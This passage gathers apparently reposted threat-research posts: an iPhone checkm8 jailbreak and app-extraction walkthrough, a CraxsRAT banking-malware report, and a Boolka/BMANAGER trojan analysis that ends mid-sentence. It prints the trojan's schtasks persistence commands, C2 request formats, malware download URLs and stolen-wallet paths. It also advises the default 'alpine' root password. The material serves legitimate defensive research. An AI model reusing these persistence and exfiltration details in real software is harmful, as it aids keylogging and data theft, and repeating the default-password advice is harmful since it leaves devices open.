New security concerns around Apple devices keep coming to light. They are often announced by Apple itself in regular security bulletins. Such disclosures emphasize the importance of informing users about potential risks and how to address them properly. One notable and enduring threat is the checkm8 vulnerability, discovered in 2019. Checkm8 is a bootloader vulnerability that is “burned into the silicon,” which means that it is impossible to completely fix it with software updates. The flaw allows attackers to compromise a device almost irrespective of the iOS version it runs. Apple has made strides to mitigate its impact, for example with the A12 Bionic chip that protects newer devices (iPhone XS/XR and later), but older models remain at risk.

The checkm8 vulnerability is especially relevant today because it is being exploited by many various vendors, who use it to brute-force passcodes on iOS devices. Moreover, the interconnected nature of Apple’s ecosystem means that if one device associated with an Apple ID is compromised, all devices linked to that ID are also at risk. This underscores the importance of not only updating to newer, more secure devices but also of employing stringent security practices across all connected Apple products.

How to jailbreak iOS for investigation purposes

In our recent article, Group-IB experts discussed how to detect sophisticated spyware like Pegasus, which is often used by advanced threat actors and state-sponsored groups to execute zero-click exploits, affecting zero-day vulnerabilities, and gain full remote control of devices without the victims noticing. But what if you need to examine a full-fledged application?

When conducting an in-depth analysis of iOS devices and the apps installed on them, users need to be aware that iOS does not back up apps themselves but only the data they contain, and to a limited extent. It is not enough to rely on a backup copy alone.

To analyze an iPhone, users will require a device that can be jailbroken and forensics tools for jailbreaking iOS devices. The following tools are the most up-to-date:

ProcessorA8-A11A8-A16
DevicesiPhone 6S, 7, 8, XiPhone 6S-14
JailbreakPalera1nDopamine
iOS versionsAll15.0.0-16.5.1

The most accessible option for cybersecurity experts is to acquire an iPhone X, which features a vulnerable bootrom (Checkm8  vulnerability) and runs a relatively recent iOS version (16), enabling the installation and normal functioning of all applications. While Checkm8 poses risks to users, mobile forensic experts can leverage the vulnerability to analyze malware.

To jailbreak your device, you’ll require MacOS and Palera1n, a tool primarily intended for research. However, if you need a low-level copy of a device—referred to as a full logic copy—using this vulnerability, it’s advisable to use agents that are more forensically sound. These agents make minimal changes and leave fewer traces on the device, which is crucial for forensic analysis, especially when extracting digital evidence stored on the phone. You can learn more about bootloader-level extractions here.

Let’s start with downloading the jailbreak utility.

Next, sign it:

codesign --force --deep --sign - palera1n-macos-universal

And allow its execution:

chmod 777 palera1n-macos-universal

Next, try to run the tool:

./palera1n-macos-universal

Request for permission to execute an application for jailbreaking

Figure 1. Request for permission to execute an application for jailbreaking

Allow execution:Settings menu to give permission to run the application

Figure 2. Settings menu to give permission to run the application

NB: Whenever you bypass built-in security mechanisms in MacOS, it is essential to ensure that the binary file is safe and trustworthy. If there is any doubt, it is safer to perform such operations within a virtual machine.

Jailbreaking a device can be done in two ways: rootful or rootless. For our purposes, we’ll opt for the rootless approach, without delving into specific technicalities.

If you are using a device with an Apple A11 processor running the latest iOS 16, it is crucial that the device has never had a passcode set and that the Secure Enclave Processor (SEP) state has remained unchanged. Simply removing the passcode won’t suffice in this scenario. You will need to completely reset the device—erase all content and settings—and set it up again from scratch. For further information, you can refer to the link.

To begin the jailbreak process, connect your iPhone to your computer using a USB-A to Lightning cable. When prompted on your iPhone, select “Trust” to establish the connection between the device and the computer. Once the connection is established and trusted, you can proceed to start the jailbreak procedure.

./palera1n-macos-universal

During the installation process, your phone will enter recovery mode. Following this, adhere to the timer and instructions displayed in the terminal. When prompted, manually switch the device to DFU (Device Firmware Update) mode according to the provided guidance.Example of a timer in a terminal showing how to hold and press the buttons

Figure 3. Example of a timer in a terminal showing how to hold and press the buttons

If the process freezes, which can sometimes happen, try reconnecting the Lightning cable a few times. This may help to resolve the issue and allow the jailbreak process to continue smoothly.

Voilà! After the tool has been downloaded, you will find yourself with a jailbroken phone equipped with an app manager—in this instance, Sileo.App managers Sileo and Zebra

Figure 4. App managers Sileo and Zebra

Once launched, Sileo will prompt you to set a password for the “su” command. We highly advise setting the standard password: “alpine“. This is recommended because “alpine” is the default password for most utilities and tweaks—around 99% of them. Opting for any other password would require you to re-enter it in numerous places throughout the system.

Next, install Frida, a dynamic code instrumentation toolkit. To do so, add the repository to Sileo.Repository list

Figure 5. Repository list

It’s time to install Frida.

Repository list

Once Frida is installed, you will need a Linux-based computer or a virtual machine. For our analysis, Group-IB experts used a Parallels virtual machine running Ubuntu.

Connect your iPhone to the machine and click “Trust” on the device to establish the connection:

Connect your iPhone to the machine and click “Trust”

First, perform some basic installations (if you’re an advanced user, you already know how):

sudo apt update
sudo apt upgrade
sudo curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh | bash
Restart teminal
nvm install --lts
nvm use --lts
npm install -g bagbak

Use bagbak to decrypt the application and extract it from the iPhone.

Enumerate the available packages:

bagbak -l

Output of the command bagbak -l

Figure 6. Output of the command bagbak -l

Check the list for the app you would like to be decrypted, and extract it from the iPhone. In this example, we are looking for com.nnmakakl.ajfihwejk. Also, it is important to take note and remember the app name.Results of the search for the app

Figure 7. Results of the search for the app

Set port 44 for SSH using is a special feature of palera1n and extract the app.

export SSH_PORT=44
// 44 ssh port for Paler1in jailbreak
bagbak com.nnmakakl.ajfihwejk
Results of the search for the app

Mission accomplished! The result is an iOS App Store package (IPA) file of the app that is now decrypted and ready for analysis.

The result is an iOS App Store package (IPA) file of the app

To find out what was inside the file, read our article.

How to stay safe against iOS threats

Despite having been discovered many years ago, vulnerabilities such as Checkm8 remain a threat on account of their ability to become deep-seated in the device’s hardware. New exploitation methods continue to emerge, which makes older devices particularly vulnerable. If a device linked to an Apple ID is compromised, it jeopardizes all devices associated with it and all synchronized data. Group-IB experts recommend taking the following steps to protect your devices:

For the general public:

  • Avoid connecting your primary Apple ID to devices that are known to be vulnerable to the Checkm8 exploit.
  • Use separate Apple IDs for older, vulnerable devices to minimize risk and limit data exposure.
  • Ensure a passcode is configured on your devices so that they benefit from the additional security provided by recent iOS updates.
  • Upgrade to newer devices with the A12 Bionic chip (iPhone XS/XR and later), which are immune to the Checkm8 vulnerability.
  • Never click on suspicious links. Mobile malware is often spread through malicious links in emails, text messages, and social media posts.
  • Carefully review the requested permissions when installing a new application and be on extreme alert when an app requests the Accessibility Service.
  • Refrain from engaging in unknown Testflight campaigns and avoid installing unknown MDM profiles and certificates.

For businesses: Protect against evolving iOS threats

  • Organizations seeking to perform device analysis or implement additional security measures can contact Group-IB’s Digital Forensics team for further assistance.
  •  Analyzing iOS devices is particularly challenging due to the closed nature of the operating system. However, Group-IB’s Threat Intelligence team, which discovered GoldPickaxe.iOS, has the expertise needed to analyze even the most sophisticated malware families in depth and identify vulnerabilities exploited by threat actors. Group-IB Threat Intelligence provides detailed insights into attacker behaviors, helping you to understand how your devices are targeted and to protect your infrastructure in a timely and effective way.
  • To detect malware and block anomalous sessions before users enter any personal information, Group-IB recommends implementing a user session monitoring system such as Group-IB Fraud Protection.
  • Train your employees in risks related to mobile malware. This includes teaching them how to spot fake websites and malicious apps and how to protect their passwords and personal information.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Beware CraxsRAT: Android Remote Access malware strikes in Malaysia

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Background

In May 2024, the Group-IB team received a request from a Malaysia-based financial organization to investigate a malware sample targeting its clients in the Asia-Pacific region.

Based on details from the customer and the analysis by the Group-IB Fraud Protection team, the malware scenario was reconstructed as follows:

The victim visited a phishing website impersonating a local legitimate food brand, which prompted the victim to download an app to make a purchase. Approximately 5 minutes after downloading the app, the victim’s credentials were stolen, and experienced an unauthorized withdrawal of funds from the victim’s bank within 20 minutes of installing the app on their mobile device.Example of phishing website craxs rat

Figure 1. Example of phishing websiteAttack Flow Diagram

Figure 2. Attack Flow Diagram

After analyzing the malware sample, Group-IB Threat Intelligence experts concluded that this malware sample was attributed to the CraxsRAT.

Malware Profile

CraxsRAT is a notorious malware family of Android Remote Administration Tools (RAT) that features remote device control and spyware capabilities, including keylogging, performing gestures, recording cameras, screens, and calls. For more in-depth technical information and insights into such malware can be found in our  CraxsRAT malware blog. While this Android RAT family has the capability to send SMSes to the victim’s contacts that can be used for further distribution, Group-IB’s Fraud Protection team did not observe this in use during this campaign.Trojan first screen Craxs rat

Figure 3. Trojan first screen

Scheme Target

In this campaign, CraxsRAT primarily targets banking organizations in Malaysia. Following a request from a customer, Group-IB began an investigation and found over 190 additional samples in Malaysia. They all share the same package name generation scheme and impersonated local legitimate brands within the retail services, infrastructure, food and beverages, delivery and logistics, and other consumer-oriented businesses. Brands are identified based on applications’ labels.

Impact

Victims that downloaded the apps containing CraxsRAT android malware will experience credentials leakage and their funds withdrawal illegitimately. Financial organizations targeted by CraxsRAT may experience potential damage to their brand reputation, in addition to increased compliance costs.

Modus Operandi

Fraud Matrix of craxs rat campaign in malaysia

Figure 4. Fraud Matrix of this campaign

Detection and Prevention

Fraud Protection Events

To protect its clients from the threats posed by CraxsRAT android malware and similar threats, Group-IB Fraud Protection utilizes events/rules to detect and prevent CraxsRAT and other similar malware:

For Confirmed CraxsRAT Malware Samples

Group-IB Fraud Protection maintains a comprehensive database of all detected malware. When Fraud Protection system identifies applications from a mobile trojan list being downloaded onto an end user’s device, corresponding events would be triggered to promptly notify clients.Example of “Mobile Banking Trojan” in group-ib fraud protection software

Figure 5. Example of “Mobile Banking Trojan”

For Ongoing Updated and New Strains – Signature-Based Detection

By analyzing the characteristics and fraudulent behavior matrix of CraxsRAT android malware, Group-IB Fraud Protection analysts develop new rules based on these shared attributes and defrauding techniques. These events target undetected or updated CraxsRAT malware samples and new strains exhibiting similar features, even without specific malware signatures.

For any other fake apps – Behaviour-Based Detection

Fake apps often require end users to grant Accessibility service access and enable remote access to their Android devices upon installation. Group-IB’s Fraud Protection Platform can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These alerts are communicated to banks, enhancing the likelihood of preventing fraudulent transactions by threat actors.

Example of session on infected device

Example of session on infected device

Figure 6. Example of session on infected device

Mitigation from Other Perspectives

For End Users

End-users should install mobile applications from authorized app stores such as Google Play and the Apple Store to avoid downloading fake apps containing malware. Downloading apps from third-party sites significantly increases the risk of encountering fake app scam. Additionally, users should exercise caution when clicking suspicious buttons or links found on unknown websites or in emails to avoid unintentional granting high-privilege access to fraudsters and the potential loss of credentials.

For banking organizations

Banking organizations play a pivotal role in safeguarding their customers’ financial information. It is imperative for banks to educate customers about security best practices and promote proactive behavior. This includes advising customers to install mobile banking apps only from authorized app stores, avoid clicking on suspicious links, and regularly monitor their accounts for unusual activity. Additionally, banks should implement multi-factor authentication, real-time fraud detection systems, and provide timely alerts to customers regarding potential security threats. By fostering a culture of security awareness, banking organizations can significantly reduce the risk of fraudulent transactions and enhance overall trust in their services.

Conclusion

CraxsRAT malware allows fraudsters to remotely access a victim’s device and steal credentials, leading to financial loss. In addition, CraxsRAT malware is rapidly evolving, with a dramatically increasing number of new strains emerging each day. To build a multi-dimensional detection method for identifying sessions with confirmed malware samples or emerging new strains, the following events are recommended for clients of the Fraud Protection system:

  • Events – Signature-based detection: Fraud Protection can detect the mobile trojan and suspicious mobile application. These events facilitate the detection of confirmed malware samples, mobile trojans listed in the Fraud Protection trojan list, and any suspicious mobile applications.
  • Events – Behavior-based detection: Fraud Protection can detect Android zero-day malware, identify non-legitimate app downloads, and monitor Accessibility service, remote access status, and parallel or overlay activity on devices. These events enable the detection of emerging malware strains by analyzing their behaviors.
  • Events – Statistic-based detection: Fraud Protection can detect changes in user provider, high-risk ISPs, and IPs from high-risk countries. These events help identify suspicious IPs, subnets, and countries linked to known frauds or malwares, serving as informative notifications or as part of a combination of events to prevent fraudulent activity.
  • Events – Cross-department detection: In cooperation with Threat Intelligence, Fraud Protection can detect compromised user login. These events enable the tracking of activities of users whose accounts have been compromised, serving as user notifications or as part of a combination of events to prevent fraudulent activity.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Boolka Unveiled: From web attacks to modular malware

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In January 2024, during the analysis of the infrastructure used by ShadowSyndicate Group-IB Threat Intelligence analysts detected a landing page designed to distribute the BMANAGER modular trojan, created by threat actor dubbed Boolka. Further analysis revealed that this landing page served as a test run for a malware delivery platform based on BeEF framework. The threat actor behind this campaign has been carrying out opportunistic SQL injection attacks against websites in various countries since at least 2022. Over the last three years, the threat actor have been infecting vulnerable websites with malicious JavaScript scripts capable of intercepting any data entered on an infected website.

This blogpost contains a description of:

  • injected JS snippets used by the attacker we named Boolka
  • a newly discovered trojan we dubbed BMANAGER

YARA rules are available for Group-IB Threat Intelligence customers.

If you have any information which can help to shed more light on this threat and enrich current research, please join our Cybercrime Fighters Club. We would appreciate any useful information to update the current blog post.

Description

Discovery via InfraStorm connection

In January 2024 Group-IB detected a new ShadowSyndicate server with IP address 45.182.189[.]109 by SSH fingerprint 1ca4cbac895fc3bd12417b77fc6ed31d. This server was used to host a website with domain name updatebrower[.]com. Further analysis showed that this website serves a modified version of Django admin page with injected script loaded from hXXps://beef[.]beonlineboo[.]com/hook.js.

The SSH key was mentioned in Group-IB blogpost. Based on that, an assumption was made that ShadowSyndicate is a RaaS affiliate that uses various types of ransomware, which is the most plausible case.

However, the information obtained during this research decreased the chance of this assumption being correct. We will continue to monitor InfraStorm assets to clarify the attribution. At the moment it looks like the aforementioned SSH belongs to some bulletproof hosting provider or VPN.

Web attacks

Threat actor Boolka started his activities in 2022 by infecting websites with malicious form stealing JavaScript script. The threat actor injected the following script tag into HTML code of websites (Picture 1).Boolka malware Injected script tag

Picture 1: Injected script tag

When a user visits the infected website, the script will be downloaded and executed. During execution it performs two main actions.

First, it sends a request to the threat actor’s server to notify it that the script was executed. It utilizes HTTP GET parameters with “document.location.hostname” returning the hostname of the infected website; and the current URL being Base64-encoded (Picture 2).

Boolka malware Sending a beacon to C2

Picture 2: Sending a beacon to C2

Second, it collects and exfiltrates user input from infected website (Picture 3)Boolka malware Data collection and exfiltration

Picture 3: Data collection and exfiltration

The Boolka formstealing JavaScript script actively monitors user interactions, capturing and encoding input data from forms into session storage when form elements like inputs, selects, and buttons are changed or clicked. It sends all stored session data (collected form values) encoded in Base64 format back to the threat actor’s server. This behavior suggests that the script is designed for data exfiltration, potentially capturing sensitive user inputs such as passwords and usernames.

Since at least November 24th 2023, the payload loaded by the script tag was updated. Let’s compare two snippets used by Boolka before and after this update: https://urlscan.io/responses/420d8d83d5b98d959f7c62c2043b0cc2511385d4cab722b23ef4b39da5147bfc/, https://urlscan.io/responses/e6bc4f2ca5bf36fae278cbbc12bbacc12f475cd92f194a79c24afe384af3e6e7/.  The updated version of this malicious script includes several modifications. Notably, it now checks for the presence of a specific div element with the ID “hookwork” on the page (Picture 4). If this div is not found, it creates one and sets it to be hidden.Boolka malware Snippet for creating div element

Picture 4: Snippet for creating div element

The code now includes additional checks within the cbClickButton function to exclude certain sessionStorage properties (key, getItem, setItem, removeItem, clear) from being sent to the server (Picture 5).Boolka malware Updated collection and exfiltration code

Picture 5: Updated collection and exfiltration code

The event listeners for user interactions with input fields, buttons, and select elements remain, capturing user input and sending it to the remote server.

The IP addresses of servers hosting the Boolka infrastructure were reported for multiple SQL injection attempts. The number and locations of reporters allow us to speculate that these attacks were opportunistic since there was no particular pattern in regions attacked by threat actor. Based on this information we can infer that the infection of compromised websites was the result of exploitation of vulnerabilities detected during this opportunistic vulnerability scanning.

Example SQL Injection payload used by attacker:

Malware delivery

The landing page updatebrower[.]com (Picture 6) detected in January 2024 was a test run of a malware delivery platform created by Boolka. This platform was based on open source tool BeEF (The Browser Exploitation Framework). In addition to the use of the obvious subdomain “beef” and default BeEF filename “hook.js” VirusTotal also detected and saved default hook.js version.Screenshot of first detected test landing page created by Boolka

Picture 6: Screenshot of first detected test landing page created by Boolka

In total threat actor created 3 domain names for landing pages but used only one of them:

  • updatebrower.com
  • 1-update-soft.com
  • update-brower.com

In March 2024, Group-IB Threat Intelligence analysts detected the first use of Boolka’s malware delivery platform in the wild. While there are multiple overlaps between the list of websites infected with Boolka’s formstealing JS and Boolka’s BeEF payload, we can assume that during this campaign the threat actor used the same approach for website infection that he tested during early stages of his activities.

In analyzed cases BeEF-based malware delivery platform created by Boolka was used to distribute a downloader for the BMANAGER trojan.

Boolka malware delivery platform

Malware

Different malware samples were discovered during analysis. Infection starts with the BMANAGER dropper which will attempt to download the BMANAGER malware from a hard-coded URL.

The following malware samples have been discovered as being used by Boolka.

  • BMANAGER downloader
    • Downloader
  • BMANAGER
    • Downloader
  • BMREADER
    • Data exfiltration
  • BMLOG
    • Keylogger
  • BMHOOK
    • Records which applications are running and have keyboard focus
  • BMBACKUP
    • File stealer

All samples found thus far have been created with PyInstaller. The Python scripts used rely on Python 3.11.

Boolka malware killchain

BMANAGER downloader

The BMANAGER downloader attempts to download, configure persistence for, and execute the BMANAGER malware.

It downloads the BMANAGER from a URL hard-coded into the dropper using a HTTP(S) GET request.

The response to this request is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the BMANAGER executable file.

By default it drops the BMANAGER malware at: C:\Program Files\Full Browser Manager\1.0.0\bmanager.exe

BMANAGER persistence & execution

Persistence is achieved via Windows tasks. This starts the BMANAGER malware when the user logs into Windows.

schtasks /create /sc onlogon /tn bmanager  /tr "'C:\\Program Files\\Full 
Browser Manager\\1.0.0\\bmanager.exe'" /it /rl HIGHEST

The task is executed immediately after creation.

schtasks /run /tn bmanager

These values are hard-coded into the downloader.

BMANAGER

BMANAGER is capable of downloading files from a hard-coded C2, creating startup tasks, deleting startup tasks, and running executables.

Features

  • Download executables from a hard-coded C2 address
  • Create Windows tasks to allow executables to run on login
  • Create Windows tasks to run executables
  • Delete Windows tasks

Windows tasks & persistence

Persistence is achieved by creating Windows tasks. Individual malware samples do not have the capability to achieve persistence. This is done for them by the BMANAGER malware. The BMANAGER malware will execute the following command to achieve persistence:

schtasks /create /sc onlogon /tn {task_name}  /tr 
"'{path_to_executable}.exe'" /it /rl HIGHEST

With task_name being replaced by a name for the task as defined by the C2. And path_to_executable being replaced with the path to and name of the executable to configure the persistence for.

C2 communication

The malware communicates with the C2 via HTTP(S) GET requests.

Register client

On startup the malware will send messages to the C2 to register it using a GUID randomly generated by the malware. This GUID is stored in a local SQL database.

The initial C2 this request is sent to is hard-coded into the sample.

  1. /client?guid={guid}
    1. Expects a string “success” to be returned.
  2. /getmainnodes?guid={guid}
    1. Expects a list of potential C2s to be returned.
  3. /
    1. This request is sent to each C2 in the received list to determine response time.
    2. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Request is executed for each C2 in the returned list.
    2. Expects a string “success” to be returned.
    3. If “success” is returned the C2 is selected as the active C2 and it stops going through the list of C2s.

The list of C2s is stored in a locally kept SQL database. The active C2 is marked as such in this SQL database.

Get target applications

Next the malware will attempt to retrieve a list of applications which are targets. This request is made to the active C2.

  • /getprogramms?guid={guid}

The response is a single string containing comma separated executable names.

opera.exe,msedge.exe,chrome.exe,firefox.exe,HxOutlook.exe,HxAccounts.exe,EXCEL.EXE,SearchApp.exe,WindowsTerminal.exe,TextInputHost.exe,ShellExperienceHost.exe,ScreenClippingHost.exe,WhatsApp.exe,Spotify.exe,Steam.exe,steamwebhelper.exe,Viber.exe,msedgewebview2.exe,AcWebBrowser.exe,Notepad.exe,Acrobat.exe,1Password.exe,AvastBrowser.exe,EpicGamesLauncher.exe,WinStore.App.exe,old_chrome.exe,mstsc.exe,wpscenter.exe,wpscloudsvr.exe,AutodeskDesktopApp.exe,TeamViewer.exe,Notion.exe,old_msedge.exe,thunderbird.exe,OUTLOOK.EXE,WINWORD.EXE,Tresorit.exe,fsbanking.exe,iCloudPasswords.exe,ooliveupdate.exe,opera_gx_splash.exe,888poker_installer.exe,888poker.exe,PokerStars.exe,PokerStarsBr.exe,poker.exe,FirstLogonAnim.exe

Response of C2 during time of analysis (29/02/2024)

This list of applications is stored in the local SQL database. The information can then be used by other modules to determine what applications to target.

Get additional malware

Last but not least the malware will attempt to retrieve additional executables from the active C2. These executables have thus far always been other malware samples. These samples are:

  • BMREADER
    • Data exfiltration module
  • BMLOG
    • Keylogger module
  • BMHOOK
    • Windows hooking module
  • BMBACKUP
    • File stealer module

It will send a GET request to the C2 to retrieve the applications to download and install.

  • /getinstall?guid={guid}
hxxps://updatebrower[.]com/download/bmbackup.txt;bmbackup;C:\Program Files\Full Browser Manager\1.0.0\bmbackup.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmhook.txt;bmhook;C:\Program Files\Full Browser Manager\1.0.0\bmhook.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmlog.txt;bmlog;C:\Program Files\Full Browser Manager\1.0.0\bmlog.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmreader.txt;bmreader;C:\Program Files\Full Browser Manager\1.0.0\bmreader.exe;1;v 1.0.0

Response of C2 during the time of analysis (29/02/2024).

These strings consist of parameters used by the BMANAGER malware. These parameters are separated using the semicolon (;) character. The parameters are as follows:

  • Download URL
    • The URL from where to download the executable.
  • Windows task name
    • The name of the Windows task to create/run/delete.
  • Executable dump path
    • Where the downloaded executable is dumped on the victim device.
  • Function
    • Whether to create a new Windows task for the executable, to run an existing Windows task, to create and run a Windows task, or to delete an existing Windows task.
    • Possible values:
      • 1
        • Create new Windows task (which is set to start on login)
        • This will download the executable.
      • 2
        • Delete an existing Windows task
      • 3
        • Create a new Windows task (which is set to start on login) and run it immediately
        • This will download the executable.
      • 4
        • Run an existing Windows task
      • 5
        • Stop a currently running Windows task
        • This will also delete the executable.
  • Version
    • A string value. This value is used to distinguish between versions of the malware.

To download an executable the malware sends a GET request to the given URL. The response is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the final executable file.

A new Windows task is created for this executable to start on login, and optionally the executable is started immediately.

After all applications have been downloaded, and all tasks have been performed, a message is sent back to the C2.

  • /install?guid={guid}&name={version}

The version being the version string found in the C2 response.

BMREADER

The BMREADER malware sends stolen data stored in the local SQL database to the active C2.

Features

  • Exfiltrates data stored in the local SQL database

C2 communication

Communication with the C2 is done via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the initial C2 address.
    2. Only called if 1 did not return a list of C2s.
    3. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the C2 the malware has chosen to connect to.
    2. Sent to the initial C2.
    3. If no C2 returns “success”, the initial C2 is used.

Sending stolen inputs

One of the values stored in the local SQL database that is exfiltrated by the BMREADER is a list of keyboard inputs. These keyboard inputs have been obtained by the BMLOG (keylogger) malware.

The following GET request is made to the connected C2.

  • /clientdata?guid={guid}&programm={programm}&title={titleencode}&vars={resultencode}
    • guid being the GUID retrieved from the local SQL database
    • programm being the path of the application from which the keys were logged
    • titleencode being a ZLIB compressed and Base64 encoded string that is the window title from which the keys were logged
    • resultencode being a ZLIB compressed and Base64 encoded string that is a combination of a number of values.

The “resultencode” string is created as follows:

  • “eventid={eventid}|||recid={recid}|||data={data}|||”
    • eventid being the ID of the event that triggered the keylogging
    • recid being the ID of the keylogging.
    • data being the actual string of inputs stolen from the victim.

The logged keys sent are then removed from the local SQL database.

Sending known applications

Another value stored in the local SQL database, and sent to the C2 by the malware, are applications found to be running on the victim device. These applications are collected by the BMHOOK malware.

A GET request is made to the C2:

  • /clientprogramm?guid={guid}&vars={resultencode}
    • guid being the random GUID obtained from the local SQL database.
    • resultencode being a ZLIB compressed and Base64 encoded string consisting of all programs stored in the local SQL database

When the response to this request is a string value of “success” the SQL database is updated. This update sets all applications as having been sent. This prevents entries from being sent twice.

BMLOG

The BMLOG malware is a keylogger. It stores logged keys in a local SQL database.

It performs the keylogging using the Python keyboard module.

Due to the keyboard module logging keys globally, not per window, it uses the BMHOOK malware to record which window currently has keyboard focus.

It will only log keys for applications that have been set as targets. These targets are received by the BMANAGER malware from the C2 and stored in the local SQL database. The BMLOG malware reads these targets from that same database.

Features

  • Record keyboard inputs

Storing logged keys

Instead of sending logged keys to a C2 it stores them in a local SQL database.

The keylogger will continually log keys until either:

  1. 60 seconds of logging have passed
  2. A different window gains keyboard focus

If either of these events occurs all inputs are stored as a single string in the local SQL database. After storage the keylogger will begin logging again.

The inputs are translated as follows:

  • For inputs a single character long (a, b, 1, 2, etc.) they are put in the string as is.
  • For space inputs a whitespace is appended to the string.
  • For tab inputs a “\t” character is appended to the string.
  • For other inputs the input is capitalized and placed between square brackets before being appended to the string.

Additional values stored alongside the input string are:

  • The event ID
  • The amount of recordings made for the logged application
  • The path to the logged application
  • The title of the window being keylogged
  • 0 value to indicate the information has not yet been sent to the C2

The BMREADER application sends the logged keys to the C2.

BMHOOK

The BMHOOK malware uses Windows hooks to discover which applications are running on a victim device and which window/application has keyboard focus.

This sample stands out in its implementation in that it uses CPython and Windows APIs to install Windows hooks. This makes the sample function only on Windows.

Features

  • Install a Windows hook to trigger on a window receiving keyboard focus

Windows hooks

The BMHOOK malware uses the SetWinEventHook function to install a Windows hook. This hook is configured to trigger on win32con.EVENT_OBJECT_FOCUS events. This type of event occurs when a window receives keyboard focus.

The following actions occur when this event is triggered:

  • Use GetWindowTextW to retrieve the title of the hooked window.
  • Obtain the full path of the executable the window belongs to.
  • Insert these two values, and a unique ID value, into the local SQL database.
  • Insert the path to the application into the local SQL database, if it does not exist there already.

The BMREADER malware uses the information stored in the local SQL database to send to the C2. The BMLOG malware uses the information to determine which window/application is being keylogged.

BMBACKUP

The BMBACKUP malware is a file stealer. It checks for specific files retrieved from a C2. If it finds the files it will read them and send them to the C2.

Features

  • Retrieve paths of files to steal from C2
  • Exfiltrate stolen files to C2

C2 communication

Communication with the C2 occurs via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Only called if 1 did not return a list of C2s.
    2. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Sent to the initial used for the first request.
    2. resultnode is set to the C2 the malware has chosen to connect to.
    3. If no C2 returns “success”, the initial C2 is used.

Get target files

The malware sends a request to the C2 every 60 seconds to retrieve a list of files to exfiltrate.

  • /getpaths?guid={guid}

The response consists of a list of strings. Each being an absolute path to a file to exfiltrate.

C:\*\*\AppData\Roaming\Bitcoin\wallets\*\wallet.dat
C:\*\*\AppData\Roaming\Bitcoin\wallets\wallet.dat

Response from C2 during the time of analysis (29/02/2024).

After making this request it will check each of these files whether they exist or not. If a file is found to exist the exfiltration process is initiated.

Exfiltrating files

The malware will go through the list of files to exfiltrate and check if they exist. When a file exists it will begin the exfiltration process.

  1. A copy of the target file is made with a randomized name. This randomized name is a random UUID value ending with “.tmp”. This copy is placed in the users temporary directory (C:\Users\*\AppData\Local\Temp).
  2. The copy file is read in 16384 byte chunks. Each of these chunks is sent to the C2 via a GET request.
    1. /clientfiledata?guid={guid}&vars={resultencode}
    2. resultencode being a Base64 encoded string containing the byte data.

resultencode is created in the following manner:

  • Up to 16384 bytes are read from the target backup file and converted to a hexadecimal string
  • The info string is created
    • “partid={partid}|||partcount={partcount}|||hex={hex}|||fn={file}|||
      • partid is which chunk of the file this object is
      • partcount are the total amount of chunks the file consists of
      • hex are the bytes read from the file
      • file is the path and name of the original file (not the path and name of the backup file)
  • This info string is ZLIB compressed, Base64 encoded, and then made URL safe
  • This is the final resultencode object that is sent as a URL parameter

SQL database

Most samples make use of a local SQL database. The path and name of this database is hard-coded in the samples to be located at: C:\Users\{user}\AppData\Local\Temp\coollog.db, with user being the username of the logged in user.

The following is a map of the SQL database. This map contains all tables and fields used by the different malware samples. Do note that the tables are created by each sample as they use them. Thus if certain samples are not present on a device, these tables may not be present.

a map of the SQL database Boolka malware

Tables

  • clientguid
    • Contains the randomly generated GUID used to identify the sample to the C2.
    • Created by BMANAGER
  • mainnodes
    • Contains a list of C2s, in particular the currently active C2.
    • Created by BMANAGER
  • log
    • Contains the keylogger data.
    • Created by BMLOG
  • event
    • Contains which applications/windows have/had keyboard focus.
    • Created by BMHOOK
  • allprogramm
    • Contains a list of applications whose window has received keyboard focus at one point.
    • Created by BMHOOK
  • programms
    • Contains a list of all applications that are to be targeted by other modules.
    • Created by BMANAGER
  • files
    • Contains a list of files that need to be exfiltrated to the C2.
    • Created by BMBACKUP

Signing certificate

BMANAGER 2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802 is signed with a valid certificate by ООО ТАСК:

Boolka Signing certificate

Serial number 75 69 94 1C 66 2A AD 5F E9 50 11 B1

According to its metadata the signer is i.shadrin@tacke.ru.

According to the company’s website they develop software, however there are few suspicious things:

  • The locale shown on the map differs from the address, which points to the town of Dmitrov in Moscow, Russia.
  • all buttons show static info which doesn’t correlate with their description

Based on public information the company consists of 4 people, and their CEO also runs 5 other small companies.

These facts lead to three different versions:

